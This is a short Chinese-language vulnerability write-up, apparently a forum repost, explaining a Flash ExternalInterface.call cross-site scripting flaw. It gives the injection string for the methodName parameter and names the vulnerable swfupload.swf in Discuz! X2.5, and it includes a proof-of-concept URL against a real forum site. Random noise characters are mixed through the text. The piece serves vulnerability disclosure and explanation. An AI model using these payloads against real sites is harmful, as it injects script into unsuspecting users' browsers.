上回我们说
7 p7 i; c- L0 A) ]4 K* ?, W1 F' P/ p/ _; K5 ~# G% r" g
flash.external.ExternalInterface.call($methodName, $parameter)8 h( F' q$ z6 ?, e
在浏览器中执行的是
" |( c+ V: Q% y0 G4 w& u
. Y* W2 d* ^4 O0 r/ Xtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}. l6 H8 b" o' @6 v
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
* V& b" c7 L$ q0 f; y( p1 s- Z. b. b
flash.external.ExternalInterface.call("object."+$methodName, $parameter)' |" C8 r- U0 Q" B
$methodName = a())}catch(e){alert(/xss/)}//$ }" ?9 }7 L% Y
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
- J% H' M2 a4 d; p" Z& C3 c2 q' k& d6 l9 t& w5 i
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
0 s2 E4 K* q) B3 y/ O( D" A
5 N( f: ^ k) v6 u: _# O3 `这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS ); O; d: s) i9 o8 @* `8 K8 _
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。+ p" s! W9 ~. o3 h
2 R6 e8 D, A* f7 R7 N
5 y7 m; k% X+ n4 f' {9 j2 ~3 C9 k' L+ b
漏洞文件:upload\static\image\common\swfupload.swf
) z. \) }& b, I* ~$ w/ l# G7 }2 k6 A: h& w' c
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf2 U# l9 X1 G" e) ]0 l j
- M% p, C% x8 R% R% H4 u" M
& \( v% k x5 }漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//" A- I, f9 l7 F" [/ X+ A5 D
5 o( ]" d- p* z) E/ R. o- W
" [, Y$ ~- d; W+ D3 b
|